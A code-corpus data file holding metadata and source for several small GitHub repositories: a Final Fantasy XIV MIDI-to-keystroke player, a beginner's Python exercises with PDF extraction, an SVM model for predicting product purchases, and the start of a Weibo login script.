[ { "alpha_fraction": 0.6368271708488464, "alphanum_fraction": 0.6552407741546631, "avg_line_length": 29.704347610473633, "blob_id": "afd58be1b552274239fb9e266ca318fe7227f6a3", "content_id": "aa6295ae019b856ea22f6caabfd64f357e91823b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3530, "license_type": "permissive", "max_line_length": 83, "num_lines": 115, "path": "/pybard.py", "repo_name": "Calvinbebop/PyBard", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n'''\nThings to do:\n 1. Add handling for key events during play (stop, start, slower tempo)\n 2. Add function for automatically switching to the FFXIV process\n 3. Add function for asking for inital tempo (present the MIDI file's default \n tempo if present)\n 4. Add functionality to PAUSE whenever an ESCAPE key is pressed\n\n Most of these need to be handled by a key event listener in a seperate\n process or thread. watch?v=lj_tcnWTzrU\n'''\nimport glob\nimport time\nimport win32api, win32con\nfrom mido import MidiFile\nfrom vk import VK_CODE\nfrom win32gui import GetForegroundWindow, GetWindowText\n\ndef main():\n print(\"Starting PyBard...\\n\")\n \n chosen_song = select_song()\n play_song(chosen_song)\n\n\n\ndef select_song():\n '''\n Iterates through the Songs folder for every MIDI file then prompts the user\n to select which song they would like to begin playing.\n '''\n song_files = []\n\n # Append any MIDI files found in the Songs folder to the song_files python list\n for file in glob.glob(\"Songs/*.mid\"):\n song_files.append(file)\n\n print(\"Which song would you like to play?\")\n for i in range(len(song_files)):\n print(\" {} {}\".format(i, song_files[i][6:-4]))\n\n song_num = int(input(\"\\n> \"))\n return song_files[song_num]\n\n\ndef play_song(song_file):\n '''\n Accepts a given file's path, creates a MIDI object, then iterates through\n each note of the song and plays it.\n '''\n mid = MidiFile(song_file)\n\n # Verify application focus then notify user of ESC\n check_application_focus()\n\n for msg in mid.play():\n # Verify application is focused\n check_application_focus()\n\n if msg.type == \"note_on\":\n play_note(msg.type, msg.note)\n\n\ndef play_note(type, note):\n '''\n Accepts the 'type' and 'note' MIDI message attributes as input and does the\n following:\n 1. Determines whether or not to apply an octave modifier then does so\n 2. Converts the MIDI messages' note attributes and sends the applicable\n Windows keyboard event\n 3. Releases the previously applied octave modifier\n '''\n\n # Quick note modifier\n note = note + 12\n\n # Determine octave then send octave modifier keyboard event (shift/ctrl)\n # TODO - Handle notes lower than 3rd octave and higher than 6th octave\n if note < 72:\n win32api.keybd_event(VK_CODE['ctrl'], 0,0,0)\n elif note >= 84:\n win32api.keybd_event(VK_CODE['shift'], 0,0,0)\n\n # Play note\n win32api.keybd_event(VK_CODE[note % 12], 0,0,0)\n win32api.keybd_event(VK_CODE[note % 12],0 ,win32con.KEYEVENTF_KEYUP ,0)\n\n # Release previously held octave modifier\n if note < 72:\n win32api.keybd_event(VK_CODE['ctrl'],0 ,win32con.KEYEVENTF_KEYUP ,0)\n elif note >= 84:\n win32api.keybd_event(VK_CODE['shift'],0 ,win32con.KEYEVENTF_KEYUP ,0)\n\n\ndef check_application_focus():\n ''' \n Checks whether or not the Final Fantasy XIV application is in primary focus.\n If not, the current song is paused. If it is, thecurrent song continues \n to play.\n '''\n window = GetForegroundWindow()\n if not GetWindowText(window) == \"FINAL FANTASY XIV\":\n print(\"Paused. Final Fantasy XIV application is not focused.\")\n while not GetWindowText(window) == \"FINAL FANTASY XIV\":\n time.sleep(2)\n window = GetForegroundWindow()\n return\n\n print(\"\\t\\t{}\".format(GetWindowText(window)))\n\n\n\nif __name__ == \"__main__\":\n main()" }, { "alpha_fraction": 0.7361918687820435, "alphanum_fraction": 0.7485465407371521, "avg_line_length": 26, "blob_id": "062a64c060cc3664db6c6d3328f580e71c4b8d31", "content_id": "67cb81bfbcaa0f06a00df7fc6d9f5a03d84ec3d4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1376, "license_type": "permissive", "max_line_length": 170, "num_lines": 51, "path": "/README.md", "repo_name": "Calvinbebop/PyBard", "src_encoding": "UTF-8", "text": "# PyBard\n\nA Python script for translating single track MIDI songs to in-game FFXIV Bard performances.\n\n## Prerequisites\n\nFirst, download the repo zip file or clone the repo using git\n```sh\ngit clone https://github.com/Calvinbebop/PyBard.git\n```\n\nNavigate into the PyBard folder and install the required python libraries.\n```sh\npip install -r requirements.txt\n```\n\n## Usage\n\nYou will need to have the Final Fantasy XIV application open and a Bard performance instrument active.\n\nUpon starting the application, you will be prompted to select one of the MIDI files found in the Songs/ folder.\n```sh\nC:\\Users\\Mothman\\Pybard>pybard.py\nStarting PyBard...\n\nWhich song would you like to play?\n 0 Pokemon-Bike Ride Theme\n 1 Pokemon-Crystal Route Theme\n 2 Pokemon-Fire Red Pallet Town Theme\n 3 Pokemon-Fire Red Version Route 1\n 4 Pokemon-Goldenrod City\n 5 Pokemon-Liquid Crystal Gym\n 6 Pokemon-Poke Center\n 7 Pokemon-Route 1 Theme Music Box\n 8 Pokemon-Violet City\n 9 test-scale_ranges\n 10 Zelda-Song of Healing\n\n> 4\n```\n\nPlayback of the song will not begin until the Final Fantasy XIV application is in primary focus. Otherwise, playback will stop and you will receive the following message.\n```sh\nPaused. Final Fantasy XIV application is not focused.\n```\n<br />\n\n<p align=\"center\">\n Show Eorzea what you got!<br /> \n <img src=\"https://i.imgur.com/Y9ax5kJ.gif\">\n</p>" }, { "alpha_fraction": 0.33112582564353943, "alphanum_fraction": 0.4503311216831207, "avg_line_length": 29.25, "blob_id": "5e1de86988b7405baef391d35f1b5d8f1abb3120", "content_id": "3dad9b5b8dddea0cf7c7359284b65cd4ec1ae0bd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 610, "license_type": "permissive", "max_line_length": 71, "num_lines": 20, "path": "/vk.py", "repo_name": "Calvinbebop/PyBard", "src_encoding": "UTF-8", "text": "# Modified version of chriskieh's giant dictionary for use with PyBard\n# https://gist.github.com/chriskiehl/2906125\n# For use with win32api ♭ ♮ ♯\n#\n\nVK_CODE = {'shift':0x10, # Used for rising to the third octave (3-X)\n 'ctrl':0x11, # Used for lowering to the first octave (1-X)\n 0:0x51, # q\n 1:0x32, # 2\n 2:0x57, # w\n 3:0x33, # 3\n 4:0x45, # e\n 5:0x52, # r\n 6:0x35, # 5\n 7:0x54, # t\n 8:0x36, # 6\n 9:0x59, # y\n 10:0x37, # 7\n 11:0x55, # u\n}" } ]
3
wd2lannom/python_work
https://github.com/wd2lannom/python_work
fe60cbf172fed2e2330b4d71b8cb5d92cbc659ea
3a1f7749432e691cb43d14ee2341c0c6acbab010
53aa805eb0f648d64d780be0fc8227c4bcca785a
refs/heads/master
2020-05-16T06:46:15.272933
2019-05-01T16:11:29
2019-05-01T16:11:29
182,856,868
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6461538672447205, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 17.714284896850586, "blob_id": "e0dd98265e9e5198a187ae2e26ba82815ba7b7e7", "content_id": "3ddbae41878726647ca77d98434771d555b51119", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 130, "license_type": "no_license", "max_line_length": 50, "num_lines": 7, "path": "/tng/dogs.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "dogs = ['reagan','holly','sarah','poppy','shadow']\n\ndogs.append('annie')\ndogs.append('gracie')\n\ndogs.sort()\nprint(dogs[3].title())" }, { "alpha_fraction": 0.6782874464988708, "alphanum_fraction": 0.684403657913208, "avg_line_length": 35.35555648803711, "blob_id": "bf15025f4324332c82ca9cdba4218d26464d2cdd", "content_id": "fda33c9c8a84ee47c2e62703337fc5971b6a78a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1637, "license_type": "no_license", "max_line_length": 117, "num_lines": 45, "path": "/io.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "## from https://www.blog.pythonlibrary.org/2018/05/03/exporting-data-from-pdfs-with-python/ ##\n\n## Create a resource manager instance. ##\n## Then we create a file-like object via Python’s io module. ## \n## If you are using Python 2, then you will want to use the StringIO module. ##\n\nimport io\n\n## Next step is to create a converter. In this case, we choose the TextConverter, ## \n##however you could also use an HTMLConverter or an XMLConverter if you wanted to. ##\n\nfrom pdfminer.converter import TextConverter\n\n## create a PDF interpreter object that will take our resource manager and converter objects and extract the text. ##\n\nfrom pdfminer.pdfinterp import PDFPageInterpreter\nfrom pdfminer.pdfinterp import PDFResourceManager\nfrom pdfminer.pdfpage import PDFPage\n \n ## open the PDF and loop through each page ##\n\ndef extract_text_from_pdf(pdf_path):\n resource_manager = PDFResourceManager()\n fake_file_handle = io.StringIO()\n converter = TextConverter(resource_manager, fake_file_handle)\n page_interpreter = PDFPageInterpreter(resource_manager, converter)\n \n with open(pdf_path, 'rb') as fh:\n for page in PDFPage.get_pages(fh, \n caching=True,\n check_extractable=True):\n page_interpreter.process_page(page)\n \n text = fake_file_handle.getvalue()\n \n # close open handles\n converter.close()\n fake_file_handle.close()\n \n ## grab all the text, close the various handlers and print out the text to stdout ##\n if text:\n return text\n \nif __name__ == '__main__':\n print(extract_text_from_pdf('w9.pdf'))" }, { "alpha_fraction": 0.7706093192100525, "alphanum_fraction": 0.7849462628364563, "avg_line_length": 19, "blob_id": "0043fc03ebbd9199de73c578900419249eac48f5", "content_id": "db968a2248e810cb440097b6a60ca2d11c145666", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 279, "license_type": "no_license", "max_line_length": 41, "num_lines": 14, "path": "/tng/motorcycles.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "motorcycles = ['honda','yamaha','suzuki']\nprint(motorcycles)\n\nmotorcycles[0] = 'ducati'\nprint(motorcycles)\n\nmotorcycles.insert(0,'harley')\nprint(motorcycles)\n\ndel motorcycles[3]\nprint(motorcycles)\npopped_motorcycles=motorcycles.pop(2)\nprint(motorcycles)\nprint(popped_motorcycles)" }, { "alpha_fraction": 0.6370967626571655, "alphanum_fraction": 0.6370967626571655, "avg_line_length": 23.600000381469727, "blob_id": "5f54bec5462d01e62b5800403e3840eb290eaee8", "content_id": "a099c5bcac1c22d3e4fd91d61d7d232d3b81cb9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 124, "license_type": "no_license", "max_line_length": 40, "num_lines": 5, "path": "/tng/greeter.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "def\tgreet_user(user_name):\n\t\"\"\"Display a simple greeting\"\"\"\n\tprint(\"Howdy,\"+ user_name.title() +\"!\")\n\t\ngreet_user(\"annie\")\n\n" }, { "alpha_fraction": 0.6929824352264404, "alphanum_fraction": 0.6929824352264404, "avg_line_length": 27.5, "blob_id": "8d62f33410d83840b55113738e863401be9b41d3", "content_id": "14c1c7d1df8624082ef00e00bef1af7778949a59", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 114, "license_type": "no_license", "max_line_length": 52, "num_lines": 4, "path": "/tng/script.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "mylist = ['reagan','holly','sarah','poppy','shadow']\nmylist.append('annie')\nmylist.append('gracie')\nprint(mylist) " }, { "alpha_fraction": 0.6646706461906433, "alphanum_fraction": 0.6766467094421387, "avg_line_length": 20, "blob_id": "d188c2e768d145fe7c0d44114d06ceac4db2ef6f", "content_id": "d88a87e989c618d0ab6205146327e4ecf79cd91a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 167, "license_type": "no_license", "max_line_length": 46, "num_lines": 8, "path": "/tng/cars.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "#here is the original list\ncars = ['bmw','audi', 'subaru','ford','dodge']\ncars.sort()\nprint(cars)\ncars.reverse()\nprint(cars)\nlen(cars)print(3.2)\nprint(\"Hello, World!\")" }, { "alpha_fraction": 0.6146993041038513, "alphanum_fraction": 0.6265775561332703, "avg_line_length": 33.512821197509766, "blob_id": "4625e65dab294bdbb88f4b033e17bec65ca75225", "content_id": "712218de3eed079cc6732783c4834ef5f176c195", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1347, "license_type": "no_license", "max_line_length": 77, "num_lines": 39, "path": "/screener1.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "## TODO add new comment ##\n## this is used to extract and view text inside a pdf ##\n## extracts the requested number of pages and puts it in a file ##\n\nfrom pdf2image import convert_from_path\nimport pytesseract\n\n## specify the first and last pages and computes the total number of pages ##\nfirst_page = input(\"What is the starting page? \")\nfirst_page = int(first_page)\nlast_page = input(\"What is the last page? \")\nlast_page = int(last_page)\nnum_pages = last_page - first_page\n\nprint(\"***** Starting the extraction, standby..... *****\")\nprint(\" \")\n## set the target file variable name 4/21/19 ##\n## Mike's Comment ##\ntarget_file = \"/Users/dave/files/report.pdf\"\n\ndef pdf2txt(target_file, num_pages):\n ##use pdf2image to keep the pages in memory\n pages = convert_from_path(target_file, 500, first_page, last_page)\n docs = []\n ## iterate through each page saving the text and page number\n for i,page in enumerate(pages):\n d = {}\n text = pytesseract.image_to_string(page) \n d['page'] = i+1 ## index from 0\n d['text'] = text \n ##create list of dictionaries\n docs.append(d)\n print(\" ***** Extraction is complete ***** \")\n return docs\ntext = pdf2txt(target_file,10)\nprint(text)\nf = open( 'file.txt', 'w' )\nf.write( repr(text) )\nf.close()\n\n" }, { "alpha_fraction": 0.5823754668235779, "alphanum_fraction": 0.6130267977714539, "avg_line_length": 36.28571319580078, "blob_id": "42b9c6b679308b6eaf6c74a53d2431d8002c0707", "content_id": "b62e6012beda667168d91ee632f0c244e7613c32", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 261, "license_type": "no_license", "max_line_length": 88, "num_lines": 7, "path": "/python3build.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "{\n\"cmd\": [\"/Library/Frameworks/Python.framework/Versions/3.7/bin/python3\", \"-u\", \"$file\"],\n\"file_regex\": \"^[ ]*File \\\"(...*?)\\\", line ([0-9]*)\",\n\"selector\": \"source.python\",\n\"encoding\": \"utf8\",\n\"path\": \"/Library/Frameworks/Python.framework/Versions/3.7/bin/\"\n}\n" }, { "alpha_fraction": 0.6129032373428345, "alphanum_fraction": 0.6451612710952759, "avg_line_length": 23.799999237060547, "blob_id": "e7bbd67b1b3b78fc0f062fbcbd3b8dd0aa3ff906", "content_id": "d210a42f7f0a903ef8addbd5196c10742de01aee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 124, "license_type": "no_license", "max_line_length": 37, "num_lines": 5, "path": "/tng/names.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "names = ['pete','dean','john','mike']\nprint(names[0].title())\nprint(names[1].title())\nprint(names[2])\nprint(names[-1].title\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.699999988079071, "avg_line_length": 39.33333206176758, "blob_id": "1230a7ededdc1b26ed81f1722291894faf270ea3", "content_id": "9d50644ebea14e0e6b16d0e932db859006c0d943", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 120, "license_type": "no_license", "max_line_length": 52, "num_lines": 3, "path": "/tng/magicians.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "magicians = ['alice','david','caroline']\nfor magician in magicians:\n\tprint(magician.title() +\", that be a great trick!\")" }, { "alpha_fraction": 0.6875, "alphanum_fraction": 0.6917613744735718, "avg_line_length": 14.30434799194336, "blob_id": "43ff4042cf5de689e430b9db773318345a1125b4", "content_id": "3c08c9b6fec5d7f014e206914539a1a215e99b81", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 704, "license_type": "no_license", "max_line_length": 59, "num_lines": 46, "path": "/README.md", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "# GIT Commands\n\ngit pull - get current code\n\n```bash\ngit pull \n```\n\ngit status - current status\n\n```bash\ngit status\n```\n\ngit add . - Add any files to version control\n\n```bash\ngit add . \n```\n\ngit commit -a -m '' - commit code\n```bash\ngit commit -a -m 'COMMENT HERE'\n```\n\ngit push - push to GitHub\n\n```bash\ngit push\n```\n\nCreate a new repository on the command line###\n```bash\necho \"# test\" >> README.md\ngit init\ngit add README.md\ngit commit -m \"first commit\"\ngit remote add origin https://github.com/wd2lannom/test.git\ngit push -u origin master\n```\n\nPush an existing repository from the command line\n```bash\ngit remote add origin https://github.com/wd2lannom/test.git\ngit push -u origin master\n# pdfminer6\n" }, { "alpha_fraction": 0.7529691457748413, "alphanum_fraction": 0.764845609664917, "avg_line_length": 27.133333206176758, "blob_id": "d5dd3e0e6abe0aa699bbd01ffc2edbd0e817092b", "content_id": "9ad49cbb2da90f84b8e7e0f07f238405f0ef8a83", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 421, "license_type": "no_license", "max_line_length": 78, "num_lines": 15, "path": "/es_index.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "from elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import bulk\n\nes = Elasticsearch(['localhost:9200'])\n\ndocs = pdf2txt(pdf_path)\n\nindex = \"mueller-report\"\n\n##good practice to delete an index if it already exists and you're overwriting\nif es.indices.exists(index):\n es.indices.delete(index)\n\n## elastic helper function to bulk index json\nbulk(es, docs, index=index, doc_type='clue', raise_on_error=True)" }, { "alpha_fraction": 0.6178861856460571, "alphanum_fraction": 0.6341463327407837, "avg_line_length": 23.799999237060547, "blob_id": "190cde5b7902532dda8a07b54e1b190b1a1d64c4", "content_id": "1ccb01e4d6a459c533c84f3f9a394276f40117bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 123, "license_type": "no_license", "max_line_length": 57, "num_lines": 5, "path": "/tng/bicycles.py", "repo_name": "wd2lannom/python_work", "src_encoding": "UTF-8", "text": "bicycles =['trek','cannondale', 'redline', 'specialized']\n\nmsg=\"my 1st bike was a \" + bicycles[-1].title() +\".\"\n\nprint(msg)" } ]
13
bjhuang0802/User_buying_svm
https://github.com/bjhuang0802/User_buying_svm
8793fefde5ea7e635acfc6002ae2d3bf3224ae6b
af9ff78410e56038553aa56b770d4e236b9b8d12
9d83f909f91a5daa6583eb474142b33c6d16f501
refs/heads/master
2020-12-25T10:49:18.131933
2016-07-28T15:57:38
2016-07-28T15:57:38
64,381,050
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5867403149604797, "alphanum_fraction": 0.6169428825378418, "avg_line_length": 31.710844039916992, "blob_id": "18518132f4cd39cd31bd2cf9f65004586980177f", "content_id": "8c7b9309b558d299035e8efa616ceb2d3ae616f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2715, "license_type": "no_license", "max_line_length": 124, "num_lines": 83, "path": "/svm.py", "repo_name": "bjhuang0802/User_buying_svm", "src_encoding": "UTF-8", "text": "\"\"\"\n\n========================================\nSVM for product-buying prediction\n========================================\n\n\"\"\"\nprint(__doc__)\n\nimport csv\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import datasets, svm\nfrom sklearn.metrics import roc_curve, auc\nfrom sklearn.externals import joblib\nimport pickle\nimport timeit\nimport data\nstart = timeit.default_timer()\n\n\nfp = open('time_log.txt','a+')\nfp1= open('general_log.txt','a+')\n\nx0=[]\ny0=[]\nf=[]\nx0,y0,f=data.data(0.05)\nprint 'Data is loaded. Use %d features for each uniq clientId.' %(len(x0[0]))\nprint >>fp1,'Data is loaded. Use %d features for each uniq clientId.' %(len(x0[0]))\nfor i in range(0,len(f)):\n print '%d. %s' %(i,f[i])\n print >>fp1,'%d. %s' %(i,f[i])\nprint ''\nX=np.array(x0)\ny=np.array(y0)\nn_sample = len(X)\nnp.random.seed(0)\norder = np.random.permutation(n_sample)\nX = X[order]\ny = y[order].astype(np.float)\ns=int(8)\ndiv=int(n_sample/10*s)\nX_train = X[:div]\ny_train = y[:div]\nX_test = X[div:]\ny_test = y[div:]\nprint 'There are %d samples.' %(n_sample)\nprint 'Prepare train(%d percentage) and test(%d percentage) sample: %d, %d' %(s*10,(10-s)*10,len(X_train),len(X_test))\nprint >>fp1,'There are %d samples.' %(n_sample)\nprint >>fp1,'Prepare train(%d percentage) and test(%d percentage) sample: %d, %d' %(s*10,(10-s)*10,len(X_train),len(X_test))\n# fit the model\n#for fig_num, kernel in enumerate(('linear', 'rbf', 'poly')):\nfor fig_num, kernel in enumerate(('linear', 'rbf')):\n clf = svm.SVC(kernel=kernel, gamma=1,probability=True)\n probas_ = clf.fit(X_train, y_train).predict_proba(X_test)\n fpr, tpr, thresholds = roc_curve(y_test, probas_[:, 1],pos_label=2)\n roc_auc = auc(fpr, tpr)\n plt.plot(fpr, tpr, lw=1, label='ROC (area = %0.2f)' % ( roc_auc))\n\n name=kernel\n joblib.dump(clf, 'model/svm_'+name+'.pkl') \n strain =clf.score(X_train, y_train)\n stest =clf.score(X_test, y_test)\n print 'Kernel:%s, Accuracy(Train,Test):%6.2f,%6.2f, AUC:%6.2f' %(kernel,strain, stest,roc_auc)\n print >>fp, 'Train set:%s,%6.2f' %(kernel, strain)\n print >>fp1,'Kernel:%s, Accuracy(Train,Test):%6.2f,%6.2f, AUC:%6.2f' %(kernel,strain, stest,roc_auc)\n plt.xlim([-0.05, 1.05])\n plt.ylim([-0.05, 1.05])\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title('Receiver operating characteristic example '+kernel)\n plt.legend(loc=\"lower right\")\n plt.show()\n\nstop = timeit.default_timer()\nds = stop -start\ndm = ds/60.0\nprint ''\nprint '%d samples, time cost: %8.2f (mins)/ %8d (sec)' %(n_sample,dm,ds)\nprint >>fp,'%d,%8d,%8.2f' %(n_sample,ds,dm)\nprint >>fp1,'%d samples, time cost: %8.2f (mins)/ %8d (sec)' %(n_sample,dm,ds)\nprint >>fp1, '-----------------'\n" }, { "alpha_fraction": 0.5422459840774536, "alphanum_fraction": 0.5775400996208191, "avg_line_length": 20.272727966308594, "blob_id": "8f0ffb6f3bc0c077bd478cf2b5ba565f6bbc05af", "content_id": "6f8fa945bb6e077c269a0c1a77e7503328de9955", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 935, "license_type": "no_license", "max_line_length": 71, "num_lines": 44, "path": "/evalptime.py", "repo_name": "bjhuang0802/User_buying_svm", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport csv\nimport numpy as np\n\n\nrawuuid = csv.reader(open('dic_0_uuid.txt'))\nfp=open('dic_product_time.txt')\nrawptime = csv.reader(fp)\nfp1=open('dic_product_summary.txt','w')\n\nsstime={}\nptime={}\nfor row in rawuuid:\n ptime[str(row[0])]={}\n\nfor row in rawptime:\n ptime[str(row[0])][str(row[1])]=0.0\n\nfp.seek(0)\nfor row in rawptime:\n ptime[str(row[0])][str(row[1])] += float(row[2]) \n\n\nparray=[[]]\ni=0\nfor key, value in ptime.iteritems():\n if len(value) >0:\n s=value.values()\n s1=sorted(s)\n parray[i].append(key)\n parray[i].append(len(value))\n parray[i].append(s1[0])\n i += 1\n parray.append([])\n\ndel parray[-1]\n\nfor x in range(0,len(parray)):\n #print '%s,%d,%6.2f' %(parray[x][0],parray[x][1],parray[x][2])\n print >>fp1,'%s,%d,%6.2f' %(parray[x][0],parray[x][1],parray[x][2])\n\n #print key, len(value), s1[0]" }, { "alpha_fraction": 0.4844649136066437, "alphanum_fraction": 0.5368239283561707, "avg_line_length": 30.035715103149414, "blob_id": "735a001b80e6eca7bc9351fa955371489a0db580", "content_id": "184c90e3216b0610c53b730f633227374eb8ec4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1738, "license_type": "no_license", "max_line_length": 118, "num_lines": 56, "path": "/evaltime.py", "repo_name": "bjhuang0802/User_buying_svm", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport csv\nimport numpy as np\n#import pprint\n\nfp = open('dic_time_per_log.txt','w')\nfp1= open('dic_3_tstime.txt','w')\n#0.uid, 1.No. of AD \nuidtime=[]\nrawfile = csv.reader(open('logs_sort.csv'))\nrawuuid = csv.reader(open('dic_0_uuid.txt'))\n\ni=0\nfor row in rawfile:\n uidtime.append([])\n uidtime[i].append(str(row[0]))\n uidtime[i].append(int(row[1]))\n uidtime[i].append(str(row[2]))\n uidtime[i].append(int(row[3]))\n uidtime[i].append(0)\n i +=1\n\nsstime={}\nfor row in rawuuid:\n sstime[str(row[0])]=0\nss=1\n#sstime=0\nfor i in range(0,len(uidtime)-1):\n if str(uidtime[i+1][0]) == str(uidtime[i][0]):\n time=uidtime[i+1][1]-uidtime[i][1]\n time = time * 1.0/60.0\n if time < 30.0:\n uidtime[i][4]=time\n sstime[str(uidtime[i][0])]=sstime[str(uidtime[i][0])] +time\n print >>fp,'%s,%12d,%s,%8d,%6.2f' %(uidtime[i][0],uidtime[i][1],uidtime[i][2],uidtime[i][3],uidtime[i][4])\n else:\n uidtime[i][4]=0\n #print '%5d,%s,%6.2f' %(ss,uidtime[i][0],sstime)\n #print>>fp1, '%s,%6.2f' %(uidtime[i][0],sstime)\n print >>fp,'%s,%12d,%s,%8d,%6.2f' %(uidtime[i][0],uidtime[i][1],uidtime[i][2],uidtime[i][3],uidtime[i][4])\n ss = ss+1\n #sstime =0\n \n else:\n uidtime[i][4]==0\n print >>fp,'%s,%12d,%s,%8d,%6.2f' %(uidtime[i][0],uidtime[i][1],uidtime[i][2],uidtime[i][3],uidtime[i][4])\n #print >>fp1,'%s,%6.2f' %(uidtime[i][0],sstime)\n #print 'ss:%5d' %(ss)\n ss = ss+1\n \nfor row in sstime:\n print >>fp1,'%s,%6.2f' %(row,sstime[row])\n #print '%s,%6.2f' %(row,sstime[row])\nprint 'Finish general time evaluation.'\n" }, { "alpha_fraction": 0.5004892349243164, "alphanum_fraction": 0.534246563911438, "avg_line_length": 28.200000762939453, "blob_id": "649ea30d6b2b8517e6647478a16295eca9a92166", "content_id": "31e80b46d7c0cf10489274d32c6afcf00973a836", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2044, "license_type": "no_license", "max_line_length": 116, "num_lines": 70, "path": "/data.py", "repo_name": "bjhuang0802/User_buying_svm", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport csv\nimport random\nimport numpy as np\n\ndef data(rate):\n #0(string).uid, 1(int).member 0/1, 2(int).session, 3(float). tstime, \n #4(int). ADs, 5(int). no. product-view, 6(float). maximum time of a product view \n items=[]\n y=[]\n invitems={}\n raw0 = csv.reader(open('dic_0_uuid.txt'))\n raw1 = csv.reader(open('dic_1_member.txt'))\n raw2 = csv.reader(open('dic_2_sessions.txt'))\n raw3 = csv.reader(open('dic_3_tstime.txt'))\n raw4 = csv.reader(open('dic_4_ADs.txt'))\n raw6 = csv.reader(open('dic_product_summary.txt'))\n rawf = csv.reader(open('dic_ever_final.txt'))\n features=['Member','no.sessions','Total Time','no. ADs','no. uniqe product-view','maximum time of product-view']\n i=0\n for row in raw0:\n items.append([str(row[0])])\n invitems[str(row[0])]=int(i)\n for x in range(1,7):\n items[i].append(0)\n y.append(1)\n i +=1\n\n for row in raw1:\n x=invitems[str(row[0])]\n items[x][1]=1\n\n for row in raw2:\n x=invitems[str(row[0])]\n items[x][2]=int(row[1])\n\n for row in raw3:\n x=invitems[str(row[0])]\n items[x][3]=float(row[1])\n\n for row in raw4:\n x=invitems[str(row[0])]\n items[x][4]=int(row[1])\n\n for row in raw6:\n x=invitems[str(row[0])]\n items[x][5]=int(row[1])\n items[x][6]=float(row[2])\n\n for row in rawf:\n x=invitems[str(row[0])]\n y[x]=2\n\n #0(string).uid, 1(int).member 0/1, 2(int).session, 3(float). tstime, \n #4(int). ADs, 5(int). no. product-view, 6(float). maximum time of a product view \n train_y=[]\n train_x=[]\n for i in range(0,len(items)):\n if items[i][3] >0:\n if y[i] == 2:\n train_x.append(items[i][1:])\n train_y.append(y[i])\n else:\n if random.random() <rate:\n train_x.append(items[i][1:])\n train_y.append(y[i])\n\n return train_x,train_y,features\n" } ]
4
haooline/weibo_sniper
https://github.com/haooline/weibo_sniper
c7fca60507701cbe39fd5cb6139a064b2bc35a85
3f28cbf7203b058ec1caff7168613e75f9aa1798
992517f7b527f1ce36d91bb61644240070751307
refs/heads/master
2016-08-11T01:01:49.595785
2015-11-09T00:29:17
2015-11-09T00:29:17
45,777,202
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6101152300834656, "alphanum_fraction": 0.6344430446624756, "avg_line_length": 30.55555534362793, "blob_id": "213051399f486848b1e4d7a53c220dde6e5f4208", "content_id": "b399853d18cad46e2f2e94173ae396cd2a7fc55c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3132, "license_type": "no_license", "max_line_length": 214, "num_lines": 99, "path": "/login.py", "repo_name": "haooline/weibo_sniper", "src_encoding": "UTF-8", "text": "#! /usr/bin/env python\n#coding=utf8\nimport urllib\nimport http.cookiejar\nimport base64\nimport re\nimport json\nimport hashlib\n\ncj = http.cookiejar.CookieJar()\ncookie_support = urllib.request.HTTPCookieProcessor(cj)\nopener = urllib.request.build_opener(cookie_support, urllib.request.HTTPHandler)\nurllib.request.install_opener(opener)\npostdata = {\n 'entry': 'weibo',\n 'gateway': '1',\n 'from': '',\n 'savestate': '7',\n 'userticket': '1',\n 'ssosimplelogin': '1',\n 